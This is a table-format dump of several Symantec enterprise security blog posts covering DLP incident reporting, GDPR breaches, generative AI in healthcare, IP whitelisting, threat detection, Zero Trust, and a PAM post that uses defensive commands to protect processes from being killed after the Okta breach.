text
stringlengths 0
383k
|
|---|
The Game Changer - Incident Reporting in DLP 16.0
A complete refresh of incident reporting - customized for improved efficiency and control
Incident response is one of the most important functions of a DLP solution. In order for remediators to be effective, they need access to the right information and fast. The information they need can also vary by organization and even over time as priorities change.
With DLP 16.0, we went back to the drawing board to see how we could support even more effective incident response. Through working closely with customers, we recognize the high pressure environments incident response teams work in. We understand the challenges. On one hand they have to handle large volumes of alerts with limited resources, while on the other hand, they have to ensure that the privacy and security of user data is maintained.
In response, we have introduced an intuitive user interface based on direct customer input. This new interface is a game changer. Providing access to all incident data in one place speeds up workflows. We’ve also designed controls to ensure compliance with privacy requirements. In short, allowing your incident responders rapid access to the right data without compromising on compliance.
All Incidents in One Place
Symantec DLP now has a brand new “All Channels” report that provides a single unified view of incidents against all control points - Cloud Applications, Discover, Network and Endpoint. This unified report serves as a single pane of glass and provides a quick view of all the incidents in an organization, so remediators no longer need to navigate to separate reports for each channel to see incidents.
Figure 1: Example of the new “All Channels” report showing incidents for all control points in a single view
Fully Customized Reporting - Your Data, Your Way
Customers told us that default reports can be limiting. The data an incident remediator may need might not be available in a single report, therefore adding workload and delay while multiple reports are viewed and correlated. The problem is further complicated as different remediators need different information. A front line responder may need to know if data protection has been applied, another incident responder may be more interested in understanding what policy rule triggered the event. Teams that manage different computing environments (Endpoint or Cloud) may need different attributes (eg Device ID vs URL).
With DLP 16.0 we solve this. Now users can customize the incident report view, by specifying the attributes or columns that they want to see in their incident report, reordering them in the order that makes sense to them. In essence they can make the report more useful by being able to focus on the things that they care about the most. The ultimate goal here is to make remediation quicker and more efficient. This customization and selection of incident attributes is also available for the CSV export of incidents.
Also available in DLP 16.0 is the Export as JSON capability which can be used to export incidents in a JSON format that can be consumed by external applications
Figure 2: Example of the customized column view - you choose what to display - and the order - in your report
Less is More - Privacy Compliance Control
Incidents contain sensitive data and organizations want to prevent any sensitive data or PII like credit card numbers, SSNs, SINs, DL numbers etc from being exposed to incident remediators for privacy and compliance reasons.
DLP 16.0 provides the ability to partially or fully mask sensitive or high-risk data within incidents. DLP Administrators can now control whether or not violation matches should be masked as well as the percentage of the matches that should be masked. The configured masking applies to incident matches displayed in email notifications, incident snapshots, incident reports, web archives etc. This allows them to strike the right balance between giving incident responders enough context to understand an incident, while ensuring sensitive data is not being over-exposed.
Data masking is where a portion of sensitive data is not displayed. A simple example is a credit card, where the first 9 digits are replaced by an ‘x’ so only the last 4 digits are shown (e.g. xxxx-xxxx-xxxx-1234). In DLP 16.0, masking can be enabled or disabled depending on user role and configured to specify what percentage of the match should be masked, and where to begin the masking from - the beginning, the middle, the end. We also have default masking patterns like PCI-DSS or credit card numbers that can be used.
Here is what masking configurations apply to:
Matches in the Incident snapshot
Matches in Incidents exported via CSV, JSON
Matches in Incidents retrieved via REST APIs
Matches in Incidents in web archives etc.
Figure 3: Example of ‘data masking’ applied to credit card numbers displayed in an Incident Report
More Context
Symantec DLP includes integration with Symantec Web Gateway (SWG) products. Where incidents originate from DLP Network Prevent for Web, DLP 16.0 uses the integration with SWG to show additional attributes and provide more context for remediation. This means that Administrators can better understand an incident from the DLP Enforce console, removing the need to access another console in order to correlate information.
Game Changing Incident Reporting with DLP 16.0
We are excited about the improved incident reporting that has been delivered in DLP 16.0 - you asked and we delivered:
Single “All Channels” report
Report column customization
Privacy controls by masking data accessed by Incident Responders
Enhanced SWG context in DLP Enforce
Visit the Symantec DLP 16.0 Help Center for more information and let us know what you think!
|
The GDPR Data Breach – Don’t let it be a Dark Place
The time to reduce the impact of a breach is before it hits. Here's what you need to think about in advance of an attack
Four months in, and GDPR has yet to trigger worst-case fears of a global apocalypse. Still, the Supervisory Authorities (SAs) around the European Union have been quite busy investigating data breaches and complaints, some new and some pre-dating the May 25th arrival of the new GDPR regime.
And when several of these incidents involved household names, they offered a wake-up call to others who might have been lulled into complacency, if not a false sense of security. In other words, this could still happen to you. So, before then, let’s briefly analyze the key notions you’ll need to consider in a data breach situation.
Security Regulatory Obligations
When it comes to the technical and organizational measures - the former in the shape of hardware and software solutions and systems, the latter involving processes and people – GDPR’s mandates are crystal clear: The onus is on organizations to adopt demonstrable measures to protect customer data. What’s more, they must be able to both monitor threats and detect intrusions as quickly as possible to minimize the potential risk to the fundamental rights and freedoms of the data subjects in case of a breach.
But GDPR is based on outcomes. It doesn’t instruct companies on how to achieve cyber security – the only concession in that sense being the explicit mention of encryption and pseudonymization, as possible examples of measures that can help make the data less accessible, or not at all, by unauthorized actors. At the same time, though, the new regulation is quite clear about the need for the security technology to be sufficiently advanced, so it can deal with an evolving cyber threat landscape. “State of the art” is the requirement, as stated in the Regulation.
Particularly when the personal data involved is especially sensitive and would put the data subjects in a situation of high risk if compromised, organizations are expected to operate at a higher standard. They must be able to monitor risks and vulnerabilities, and, crucially, detect as quickly as possible dangerous intrusions to minimize the impact and damage to the data subjects.
Ultimately, the security measures have to be commensurate with the risk of a data breach for the organization, and the potential harm this can cause to the data subjects.
Breach Notification
As soon as there’s a breach detection, the notification dynamics kick in. Importantly, not all data breaches require notification. But when a company believes that a data breach may pose a risk to the data subjects, the SA should be notified as quickly as possible – and no later than 72 hours, unless there are justifiable reasons. What’s more, if the risk is classified as “high”, then the data subjects must be notified without undue delay.
So, to notify or not to notify?
If you have reasonable certainty that any personal data exposed in a data breach will be unintelligible to attackers – say, because you’ve scrambled it with strong encryption – then there’s no requirement to notify the SA or data subjects. If the SA has been notified according to this criterion, then the doubt will arise on whether the risk for the data subjects is “high,” in which case the data subjects must also be notified without undue delay.
It’s also wise not to wait until an incident occurs to classify different categories of risk. You can base the criteria on the type and sensitivity of the data as well as the type of data subjects – for example minors or vulnerable categories. You can also factor in the time elapsed between the intrusion and the detection, and possibly other specifics related to the organization or the sector they operate in.
It is also important to always make a record of any data breaches, even if they don’t result in formal notification.
The breach notification process shouldn’t be dependent on improvisation. Put a detailed plan together in advance so that every stakeholder will know exactly what to do depending on the nature and characteristics of the breach. A situation that will by definition cause distress, if not panic, in the organization, does not need additional aggravation due to lack of direction and planning. A well-rehearsed plan is essential, in order to be (and crucially, appear) in control to the public, the regulator, the ecosystem and the employees of the compromised organization.
Lastly, effective remediation involves containing the breach and mitigating the potential impact on individual victims. How you handle the actual remediation, whether technically or organizationally, will play a major part with the SA, their assessment of the incident, and ultimately the likelihood – and extent – of any potential sanctions.
The breach notification process shouldn’t be dependent on improvisation. Put a detailed plan together in advance so that every stakeholder will know exactly what to do depending on the nature and characteristics of the breach.
Fines and More
Fines are generally the most feared aspect of a data breach situation. This LinkedIn blog by Ilias Chantzos provides a detailed analysis of the intricacies of the sanctions in the GDPR.
At the same time, there can be more costly outcomes than monetary fines, even if they may be hard to quantify. For example, if an SA decides to fine a company say, 1% of their global annual turnover, that’s what the cost is, quantifiable to the cent.
Off course, the reputational implications are impossible to quantify, even post-incident. Still, we can find spectacular examples from the pre-GDPR era in which companies suffered a severe data breach that irreparably damaged their reputations.
Monetary sanctions will be determined, mitigated or aggravated, by many factors.
If an organization suffers a repeat compliance breach, the SA is more likely to impose higher sanctions. Similarly, they’re also in jeopardy of more substantial fines if regulators determine that an organization failed to implement previously-ordered measures to correct any compliance shortcomings.
Data breach victims can demand compensation for any financial, reputational or other damages they suffer, so the cost to an organization can quickly mount depending on how many people are affected. And looking over the horizon, organizations may also face the threat of class actions initiated by citizens who are increasingly aware of their rights under GDPR.
An even more severe state of affairs for a Controller (or indeed a Processor), is being perceived by the Authority not to be in control of personal data, especially sensitive ones that can pose high risk to the data subjects. In the more serious cases, this could leave no alternative to the Authority but to suspend processing of this data until the Controller proves to be ‘in control’ again (and not a ‘punishment’ as such, just the obvious measure aimed at ensuring a safe processing, just like someone unable to drive safely is banned from the roads until a successful reassessment).
The SA will therefore indicate the measures to implement in order to be deemed adequate for processing again. But the time needed to analyze, design, and implement such measures across an organization - possibly with technology procurement implications, and therefore integration of software solutions in the existing IT systems – can be devastatingly long, therefore not being able to process personal data could prove unsustainable for an organization in the context of their business situation.
In other words, fines, reputation and compensation might not be the worst damage sustained after a data breach, compared to a potentially lengthy processing suspension that could impair the very existence of the organization.
The takeaway here is that a serious data breach does not always need to become a dark place from which it’s arduous to escape. Proper security prevention, understanding of the regulation across the organization, and operational planning at all levels, will help in mitigating the consequences, both for the organization and the data subjects.
|
The Generative IT Tsunami is About to Hit Healthcare Providers
The Rise of Generative Artificial Intelligence
Like every other industry, the healthcare sector is learning how to coexist with the emergence of Generative AI. But unlike other industries, getting this right can be a matter of life and death.
Some organizations, unsure how to protect themselves from potential security risks, are taking the path of least resistance by trying to block AI products like ChatGPT and Bard.
But erecting ersatz roadblocks in the form of new firewalls or proxy rules is a losing battle. I understand the impulse. But more AI applications come online all the time and many employees just ignore warnings against using unauthorized digital services or devices that aren’t formally approved and supported by the IT department. Like it or not, experience teaches that users are going to find ways around IT, no matter how many messages they receive from management.
What’s the Problem?
Several healthcare and life sciences apps already use artificial intelligence, presenting operators with a constellation of new privacy and security challenges. For example, think about the daily routine of a busy clinician finishing up a patient encounter with only a couple of minutes from one patient encounter to the next. Using ChatGPT or another Generative AI tool, she might opt to copy and paste their transcript of the visit into the system to return a summarized version with corrected spelling that then gets pasted back into the patient’s official medical records. Easy peasy, right?
Not so fast.
Generative AI can impact your cybersecurity in several ways. It’s being used by bad actors to design better attacks and phish email copy. There are now fake Gen AI portals luring unsuspecting users, not to mention better malware design and deep fakes.
We have little idea how long data gets retained by services. That’s a troublesome prospect considering how ChatGPT has already had more than one data breach (due to an open-source vulnerability that revealed other users chat histories.)
What’s more, there’s no guarantee that any Protected Health Information in the text is going to be secure against leaks. Where does that information go? How is it being stored? Another potential privacy problem: a service’s terms and conditions clearly state that any data presented to them becomes their property and can be reviewed by staffers.
Adding to the confusion, note that when it comes to the output of Generative AI, there's a growing legal consensus that anything being generated - including generated images or generated text – cannot be copyrighted because it’s nigh impossible to attribute sourcing.
We’re still in the early innings of the Generative AI phenomenon but as you can see, the lack of transparency about the data that’s being collected is not clear. When does something that a healthcare provider submit to the model get retained and become part of the training for the model? When does it not? And then how is that data processed? How are decisions being made?
Generative AI can impact your cybersecurity in several ways.
For example, Microsoft is integrating the Co-pilot assistant feature, which is actually ChatGPT, into the Windows 11 operating system and Office 365. That’s going to do a lot of things – from comparing documents and transcribing Skype calls to analyzing your calendar or taking a Word document and summarizing it into a PowerPoint. That’s great from a productivity standpoint but it also raises a host of new privacy questions about patient data that’s being handled whether in emails or chats. How will all that data be protected or segmented between organizations?
Those are very valid questions and until there are clear answers, it’s up to providers to take preventative measures to mitigate the risks.
Prepare for the Coming Tsunami
As I noted earlier, blocking won’t work. It’s akin to whack-a-mole because employees will find a way to incorporate the new technology. In addition to Microsoft, Google is adding AI to Google Cloud, MakerSuite, and Workspace. LinkedIn, Slack, and Teams are already using ChatGPT while Box has integrated ChatGPT as well. To the degree possible, healthcare providers should proactively try and figure out how to handle the new data questions that are surfacing with the spread of Generative AI deployments.
Here are three things to consider when preparing for the coming tsunami:
Many vendors, partners, customer, and supplier agreements include provisions for third-party software and open source licensing. Make sure that you check the terms before randomly processing anyone else's data. (Both OpenAI and Chat GPT have said that they will enter into business associate agreements for healthcare customers.)
If you are going to opt into data sharing with an API agreement, carefully review the data access rules. Understand who will have access to PHI information and for what purposes. That’s especially important for providers with customers who reside in the European Union, which is in the midst of voting on the Artificial Intelligence Act, which will include binding rules for what are considered high risk uses, including healthcare.
Also, become fast friends with your chief privacy officers. Understand the concept of privacy by design. In practice, it requires organizations to consider privacy and data protection concerns early in the design stages of building products and services, not waiting until after the products and services are in use. The privacy by design concepts fit very well into an AI by design environment. So, learn how data is being collected and used. Where is it coming from? Where is it being stored and where's it going? Who's going to have access to it and how do you plan to control it?
I recently conducted a webinar (CLICK HERE) where I delve into the more technical tactics you can adopt to limit your risks. However you plan to meet the challenge, understand that no health provider has the luxury of postponing this any longer. Ready for or not, Generative AI is heading your way and when it arrives, it is going to hit like a tsunami.
|
The Good and Bad of 3 Common IP Whitelisting Scenarios
Some practical advice from Symantec Enterprise
IP whitelisting is commonly used and treated as a security measure to reduce the attack surface of sensitive resources. Over 30% of Secure Access Cloud customers are using the IP address restriction to limit access to corporate resources from a specific set of IP addresses, while still performing strong user authentication.
Although very effective for specific scenarios, leveraging IP addresses as a ‘definitive’ security measure to validate a connection is trusted is not recommended and maybe abused by a malicious insider or a sophisticated attacker.
In this post I will review the pros and cons of 3 specific IP whitelisting scenarios as well as show potential alternative approaches to increase security while improving user experience.
Scenario #1 - Enforcing ‘office only’ access to cloud resources
The Pros:
Restricting the access to corporate resources such as cloud-hosted environment on platforms such as Azure, AWS or GCP or SaaS resources on platforms such as Box, Salesforce or Office365 to a specific IP address (or IP range) significantly reduces attack surface. In this scenario the IP addresses will represent the public IP address of the corporate office locations.
This any attempt to connect to your environment will be blocked at Layer3, without being given the opportunity to even present a username/password, unless the connection was initiated from the office network. This prevents potential brute force attacks, reconnaissance of your environment as well as a potential exploitation of vulnerable solutions from anywhere else on the Internet.
The Cons:
This approach prevents your users from connecting remotely.
However, remote connectivity may be a business requirement (especially for a business relying on remote workers, or when employees are working from home and need to access the environment.)
In order to address this issue organizations tend to provide remote access to their office network via VPN and then allowing connectivity to the cloud environment with ‘office-only’ IP whitelist rules enforced.
In this case the level of security provided by IP whitelisting overshadowed by the exposure of the entire corporate AND cloud networks to the end-users once VPN’d to the office with the VPN service accepting connections from anywhere on the internet.
This means that if an attacker has managed to leverage stolen credentials to authenticate to the VPN, or leverage the myriad of VPN exploits available (as done by Iranian hackers and discussed at https://www.zdnet.com/article/iranian-hackers-have-been-hacking-vpn-servers-to-plant-backdoors-in-companies-around-the-world/) they have full access to both the corporate network, as well as the cloud based resources.
Alternative:
A better approach to IP whitelisting is restricting access to the resources via a solution which offers strong user and device authentication.
For example requiring a device to present a client certificate before being provided with access to corporate resources will prevent an attacker from being able to attempt bruteforce or exploit vulnerabilities as no access should be granted before successful authentication.
Both Secure Access Cloud (Symantec’s SDP solution) and CloudSOC (Symantec’s CASB solution) support device authentication via multiple methods to prevent unauthorized access to corporate resources in the cloud, on premises or in hybrid environments.
Scenario #2 - Ensuring traffic is going through inspection
Pros:
In this approach the IP whitelist rule contains the IP address or IP range of your cloud or on-premise inspection point, such as a forward proxy used by CASB or Secure Web Gateway solutions such as Symantec’s CloudSOC and WSS solutions.
Blocking any traffic which didn’t pass through the inspection point reduces the chance of malicious or unauthorized access. In addition it ensures the organizational policies (such as a DLP or specific activity policies) are enforced.
The audit data gathered by these solutions could in turn be used to detect risky activities and may serve as an additional data source for your SIEM or UEBA solution.
Cons:
Just as with the first scenario, if remote access to the office network is provided via a VPN solution, the level of security provided by IP whitelisting overshadowed by the exposure of the entire corporate AND cloud networks to the end-users once VPNed to the office.
In addition, the IP addresses of the cloud solutions may change or increase over time as today’s cloud infrastructure is dynamic by nature, and scales up and down automatically.
And even if using static IP addresses, these addresses may represent a multi-tenant environment with several of the solution’s customers are using.
Another potential issue has to do with configuration which prevents an end-user from browsing the internet without VPNing into the office. This introduces latency, complicates the user experience, and increases the infrastructure requirements for both the VPN as well as the proxy on-premises.
Alternatives:
Prefer cloud or hybrid deployments of the inspection points. Look for a cloud based secure web gateway solution such as Symantec WSS which can seamlessly integrate with an on-premises solution, such as ProxySG to address the remote user scenario without requiring a VPN connection into the corporate network.
Prefer access management solutions which can provide access via a device compliance check, which will ensure the device is compliant with the corporate policy (including passing through the corporate enforcement points).
Scenario #3 - Use known IPs to provide access to 'trusted users'
Pros:
None.
Cons:
An IP is NOT an identity!! IP addresses change (expected or unexpected) which causes the IP whitelisting rules to become outdated.
The challenge of reviewing, purging and maintaining IP lists and rules when attempting to create a ‘per-user’ authorization is challenging, and with the growth of the environment the number of users and rules it becomes impossible to stay ahead of the changes.
Alternatives:
Rely on authenticating the users rather than machines or dynamically-assigned IP addresses, preferably via your existing authentication provider.
A common practice today is performing strong authentication. A strong authentication differs from 'password only' authentication in the sentence that it is based on something you know (like your password) and something you have (like your smartphone or a security token such as Yubikey). Another form of authentication being commonly used today is 'something you are' in the form of a face or fingerprint recognition.
Prefer access solutions which can integrate with your identity provider and provide strong authentication (or support the IdP based strong authentication mechanisms) when providing access to corporate resources.
Summary
The use of IP whitelisting as an additional 'validation' to reduce attack surface is useful as well as a basic policy ensuring the end-users traffic destined to your cloud services is going through inspection.
Never rely on using IP whitelisting to authenticate users to the environment. Always prefer strong user authentication and device identification to identify and authenticate users and devices coming into your cloud environment.
|
The Growing Challenges of Threat Detection and Response
Why is threat detection and response getting harder? Recent ESG research explains why
With each new data breach or cyber attack, the complexity around threat detection and response grows and the pressure on enterprise security teams intensifies.
The fact is that threat detection is complex and according to a recent survey by ESG Research, only getting more so. Sponsored in part by Symantec, the ESG survey of enterprise cyber security leaders revealed that more than three-fourths (76%) of those polled believe that threat detection and incident response is more difficult today than it was just two years ago. It’s a startling result, and especially given the enormous amount of attention, resources and investment expended over the past several years in cyber security defense strategies and products -- and potentially proof that the situation may only get worse in the future.
The ESG survey begs the question: Why are threat detection and response processes so challenging? I believe the answers are both simple and complex. The problem is simply that cyber attacks continue to grow in volume and sophistication. Simply put, they never end, and they continue to become ever more difficult to detect.
An Endless War of Attrition
The threat landscape very darkly mirrors the typical processes involved in software development. While software developers have adopted constant iterative processes to improve their software, attackers are just as relentlessly working to develop and refine software programs that allow them to get around the latest cyber defense.
This never-ending war of attrition saps the average enterprise’s ability to stay ahead of the attackers. Most organizations just don’t have the time, resources or enough skilled people to deal with the constantly morphing and shape-shifting threat landscape. And that’s just the beginning of the challenge -- and time is running out.
The ESG research makes it clear that business leaders expect their security leaders to change this status quo. 70% of the security professionals say that business management is pressuring their cyber security teams to improve their organization’s threat detection and response. While an even larger percentage (82%) agree that improving threat detection and response is now a high priority of their organizations.
Most organizations just don’t have the time, resources or enough skilled people to deal with the constantly morphing and shape-shifting threat landscape.
Disconnected and Haphazard Manual Response
One of the principal obstacles to improvement is that many organizations approach threat detection and response through a maze of disconnected point tools. 66% of the survey’s respondents agree that their threat detection and response is limited because it is based upon multiple independent tools. An almost equal number (64%) agree that the problem is compounded -- and their efforts further limited -- because their threat detection and response is based on too many manual processes.
It’s not hard to see the challenges this disjointed approach can create. Each of these independent tools must be deployed, configured and operated separately on a daily basis. Adding to the complexity, each of these tools provides its own myopic alerting and reporting. It’s an enormous challenge just correlating the sheer volumes of data from these separate input streams and contributes to a significant lack in real-time visibility.
Understaffed and Overwhelmed
Making sense of this tsunami of data requires security analysts with the skill sets and training to pull together a complete threat management picture from across multiple sources that might include endpoint security tools, network security tools, and mega-data threat intelligence from global security operations centers. Analysis that is also dependent on manual processes that too often may take too much time to prevent an attack before it’s already underway.
It’s a process that’s further hamstrung by a shortage of the cyber security skills needed to do the analysis and respond effectively. 68% of the cyber security leaders in the ESG survey agreed that their organization’s “threat detection and response effectiveness is impacted by a shortage of security staff members and/or limited security analytics and incident response (IR) skills.”
So, what’s the way forward to improving threat detection and response?
Given the many challenges, it’s clear that the right solution must provide the services and capabilities needed to help cyber security teams address the ever-widening gyre of the threat landscape. Services that allow security staff to proactively detect any threat and the capabilities to correlate, analyze and respond quickly and effectively to any incident.
This is where EDR solutions and Managed Endpoint Detection and Response services can play a big part in keeping you safe. Join us for a webinar on the current state of EDR and MEDR to find out more.
|
The Importance of Connecting with Our Customers
RSA and Gartner: Zero Trust and other important takeaways
As the GM of Symantec, I had the good fortune of being able to attend both the Gartner Security & Risk Management Summit and the 2022 RSA Conference the week of June 6. While attending two conferences, on different coasts, in a single week gave me jet lag, it also gave me a chance to hear again the concerns of some of the smartest security practitioners around - our customers.
Strolling through the hall exhibits, where so many cybersecurity vendors showcased their products and services, I could only imagine how challenging it is for an organization to break through all the white noise and conflicting messages, and zero in on the best solution for their environment.
Here are key takeaways from my week at both conferences:
Tools management overload is a huge problem. This was a hot-button topic everywhere I turned. More tools require extra work to manage but don’t guarantee more security. Enterprises wind up running security products from different vendors side by side that have little integration or coordination, leaving dangerous gaps in their defenses. And organizations don’t have the bandwidth to act as system integrators for so many different vendors and products. As a result, CISOs are rightfully raising questions as to why they still get breached and fail audits while absorbing the high costs of purchasing and managing more and more tools.
Integration that reduces complexity will become a dominant trend. I hear the same request from customers over and over: They want out-of-the-box integration, especially when deploying multiple tools from the same vendor. As an industry, it’s clear that we need to reduce the number of management consoles, reporting infrastructures, and inspection engines for our customers. That also means offering common ways to authenticate, run reports and check for threats. Not to mention, customers should be able to perform multiple security functions without needing to deploy a large number of agents. For example, any customers deploying Symantec Endpoint Security Complete can use the same agent to redirect traffic to our Symantec Enterprise Cloud when they're exposed on the internet and not behind a proxy or firewall. All that traffic is then tunneled to our cloud where it gets inspected just as if the user was on a protected private network. We’ve similarly integrated our Zero Trust Network Access, Web Isolation, and our Secure Web Gateway technologies so that our customers don't need to manage disparate solutions. Frankly, not all of our competitors have similarly grasped this message.
As an industry, it’s clear that we need to reduce the number of management consoles, reporting infrastructures, and inspection engines for our customers.
Security in the post-Covid world has changed. After what we all went through in the last two years, customers need to treat their internal environment as if their employees all work from their local coffee shops. Forget the conventional thinking about network security. It’s now all about identity, the data, the applications, and the devices that you need to protect. Traditional notions about the network no longer apply. Don’t assume you can trust any packets on your network and it’s no longer reasonable to believe you’re going to always stop adversaries at the front door. So, it becomes all the more critical to continuously track the behavior of every user and every system inside your environment, and immediately block anything outside the norm. This also underscores the need to embrace Zero Trust – but, as I talk about next, make sure you understand what that entails.
Zero Trust isn’t what you might think. It’s altogether unsurprising that many security companies are hyping “Zero Trust solutions.” That’s false advertising. Zero Trust is an approach, not an outcome. It's part of a philosophy and a way of thinking about overall security. Simply put, nothing can be trusted. As a result, you need to put in the right checks and balances – based on context – to determine how you allow individuals or devices to communicate with your applications and data. And there is no real finish line. Zero Trust is a journey and not something that you'll ever be finished with.
A cybersecurity skills shortage is no closer to resolution. The biggest issue facing the industry remains the lack of qualified individuals who can work in cybersecurity. We’re lucky to work in a fascinating sector but there remain too many open job slots. Fixing the problem will take time and is going to require clever solutions. Beyond the obvious need to automate more front line security tasks, we simply need more qualified cyber defenders in the market. I spoke with one executive from a Bay Area company that is creating a fund allowing anyone going to a public community college to get cybersecurity training for free. That’s a great idea. I have been in this industry for many years, and there will always be a skills shortage, so every effort to address this is a step in the right direction.
Hybrid cybersecurity is a real “thing.” There is no doubt that we’re in a world where the majority of organizations intend to move their workloads to public clouds. However, it’s a mistake to believe that this decision is “all or nothing”. It’s unlikely to ever be the case that any large company moves all of their applications and data exclusively to a single cloud vendor. Enterprises still want to leverage multiple clouds, including their own. When companies operate their own data centers on-premises, they can more easily implement their own unique requirements. And even for companies moving to the public cloud, most go the multi-cloud route to give themselves more flexibility.
Identity Infrastructure. Cybersecurity solutions are not nearly as effective in any organization that fails to build a robust identity infrastructure with multifactor safeguards. It’s still common to find organizations that haven't integrated Active Directories from multiple trees that may reside in different parts of their enterprise. That likely means that privileged credentials are spread out everywhere and not being governed effectively. Accounts that should be disabled or deleted are still active. It’s hard to solve security problems when your own identity trees aren’t properly managed.
The security conversation must continue. Customers must keep asking themselves basic questions so as not to leave themselves vulnerable to attacks. Questions such as: Where is my most important data and who has access to it? Am I vulnerable to known exploits? Am I patching intelligently and often? Any organization that ignores foundational hygiene and gets distracted with the shiny new objects marketed at cybersecurity shows like RSA, exposes their company and their customers to significant risk.
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
|
The Importance of Privileged Access Management
Was the Okta breach preventable?
Last month, Okta disclosed that one of its third-party support vendors had been compromised in an attack by the hacking group Lapsus$ and that as many as a few hundred of their customers may have had data exposed through the breach.[1] The incident was especially notable because the victim is itself an industry leader in Identity and Access Management.
Later reports suggested the attack may have followed a familiar pattern: threat actor compromises a local system, escalates privileges, and moves laterally within the environment. Once inside, the attacker performs initial reconnaissance to gain an understanding of the firm’s security posture. According to reports that purport to derive from the Okta vendor’s investigation of the incident, the Lapsus$ hackers determined that a FireEye endpoint protection agent was installed on the compromised system and they were able to bypass its protection by simply terminating the agent. (We’ve seen this play before, too.) With nothing to stop them, the attackers allegedly then downloaded the official version of Mimikatz, a well-known credential dumping utility that otherwise would have been blocked by the endpoint agent.[2]
Expert recommendations on how this kind of incident could be prevented vary from assessing incident readiness and business continuity capabilities to better log management to proactively resetting passwords to better communication and sharing of information. But more specifically, how could THIS breach have been prevented?
Let’s start with the ability to shut down FireEye’s endpoint agent. If the firm had better fine-grained access controls implemented they could have prevented the ability for the threat actor to terminate the FireEye agent. (Incidentally, Symantec Endpoint Security products use proprietary technology that specifically prevents and alerts on any such tampering.)
Introducing Symantec PAM Server Control
Symantec PAM, by Broadcom Software, is designed to prevent security breaches by protecting sensitive administrative credentials, controlling privileged user access, proactively enforcing security policies, and monitoring and recording privileged user activity across virtual, cloud and physical environments. One of the core capabilities of Symantec PAM is the ability to protect against security breaches with fine-grained protections over operating system-level access and privileged user actions on your servers, including Windows, through the server control agents.
Figure 1: A Deeper Look at Symantec PAM Server Control Agents
Using centrally managed task delegation and platform-specific software restrictions, the Symantec PAM Server Control (PAMSC) agents provide file, directory, and resource-specific, kernel-level controls, registry protection, and other localized granular controls to ensure that high-value assets and resources hosted on critical servers are protected from damages caused either by malicious or accidental insider actions.
How Server Control Agents Address an Okta-like Breach
In the Okta incident, the threat actor allegedly was able to terminate the FireEye agent that provided endpoint protection on the local system. This action could have been mitigated with Symantec PAM Server Control. With Server Control, critical system daemons and application processes like FireEye can only be shut down (killed) by authorized users, regardless of their level of authority in the system. In other words, if you are a system administrator, you cannot kill the agent just because you have an admin account.
Using PAM Server Control’s “Process Class” capability, you can protect executable programs running in their own address spaces from being killed. You can define PROCESS records to protect important daemons and applications against denial-of-service attacks. PAM SC intercepts and authenticates the following kill signals:
■ sigterm - term 15 (This is the common kill signal.)
■ sigkill - kill 9
■ sigstop - stop (machine dependent)
Other signals, including sighup and sigurs1, are passed to the process that they target, and that process determines whether to ignore the kill signal or respond to it in some manner.
These are the permitted access types for the PROCESS class records:
READ R Allows the kill signal to be passed to UNIX
NONE N Blocks intercepted kill signal
Example:
1 newres PROCESS /usr/sbin/syslogd owner(nobody) defacc(N) \
audit(ALL)
This example defines a process record that protects the process called syslogd from unauthorized kill commands. All attempts to kill the process, both authorized and unauthorized, are audited.
How to Mitigate Using Server Control:
Define a PROCESS class to Server Control that is protected from being killed by sigterm, sigstop, and sigkill signals.
Example:
1 In the Administrator window, in SELANG, define the resource in the PROCESS class.
PAMSC> newres PROCESS /usr/sbin/syslogd defacc(none) owner(nobody)
The program is defined in the process class.
2 In the root window, find the process identifier number (PID) of the SEPMDADM utility.
# ps -ef | grep /usr/sbin/syslogd | grep -v grep
The system displays the process identifier for the utility. The first number following the user ID is the process ID, or PID.
3 In the root Window, try to kill the process by using the TERM signal, and watch the Trace Window.
# kill pid
Permission denied.
4 In the root Window, try to kill the process by using the KILL (-9) signal. Use the PID from step 2 as a parameter to pass with the kill command, and watch the Trace Window.
# kill -9 pid
Permission denied.
5 In the Auditor window, review the audit log. You should see a denial audit record for the PROCESS database record.
$ /usr/seos/bin/seaudit -a -sd today | tail
Summary
The Symantec PAM Server Control’s fine-grained rules can prevent an insider who has elevated privileges from killing the process. If you want to ensure that certain programs are protected from denial of service attacks or kill programs from malevolent users, define a PROCESS class to Server Control that is protected from being killed by sigterm, sigstop, and sigkill signals.
To learn more about how Broadcom Software can help you with your PAM solutions contact us here.
[1] https://www.acaglobal.com/insights/update-okta-announces-366-customers-impacted-lapsus-breach
[2] https://www.itpro.co.uk/security/cyber-security/367236/leaked-mandiant-report-okta-breach-lapsus-operation
|
The Importance of Understanding Zero Trust
The crucial problem is how to prove that you are - in fact - you
We know that Zero Trust is essential to protecting data while allowing remote users access to the information they need. But many organizations don’t fully understand what it is. I’ve been deeply involved in IT security for 30 years and am currently a field solutions architect for TD SYNNEX. I hold Broadcom Software Knight Status and hold certifications in Symantec Endpoint Security, Email Security Cloud, Cloud SOC, Web Security Services and Cloud Workload Protection.
In the days when we only had to log into servers from workstations, access to data was easy to control. Now the boundaries are gone as many employees work from home or are on the move. The crucial problem from a security standpoint is how to prove that you are, in fact, you. Many people believe Zero Trust is a product and some confuse it with multi-factor authentication. Instead, I would suggest it’s a strategy to get maximum data protection while delivering performance for workers out at the endpoints, rather than tying them up in a morass of security wickets.
Zero Trust is a data-centric security framework based on the belief that organizations should not automatically have faith in users inside or outside their perimeters. They must verify the identity of everything trying to connect to resources before granting access. It’s about trusting no one.
Zero Trust is a data-centric security framework based on the belief that organizations should not automatically have faith in users inside or outside their perimeters.
In 2009, the market research firm Forrester developed the Zero Trust Model which has since gained widespread adoption. Data sits at the center of the Forrester paradigm. People, devices, and workloads surround data and are the three primary “actors” trying to access and use this information. Networks are the central means to connect the actors to the data. The final two pieces of the model are automation and orchestration (the capacity to make components work together to seamlessly enable secure access to the data) and visibility and analytics (the ability to know who is accessing the data for governance and the capacity to detect and prevent unauthorized admittance).
Fortunately, the technologies to drive Zero Trust have been offered by Symantec for quite a while. Extending the concept to people begins with authentication—positively identifying legitimate users from fraudulent ones. Symantec VIP addresses this challenge by providing multifactor credentials and contextual risk analysis from the cloud so that stronger authentication can be applied where it is needed.
Setting Access Rules
Next, you must ensure that only authorized users gain access to sensitive resources. For more than 20 years, Symantec SiteMinder has been helping organizations provide seamless Single Sign-On access to on-premises and cloud-based applications. SiteMinder can also be enhanced through Symantec Secure Access Cloud to manage granular access to applications in IaaS/PaaS environments or on-premises data centers.
But not everyone in an organization should have access to sensitive data. Symantec Identity Governance and Administration addresses this challenge by streamlining and automating the processes associated with reviewing and certifying user access—and it ensures that users are only granted the level of access that they absolutely need.
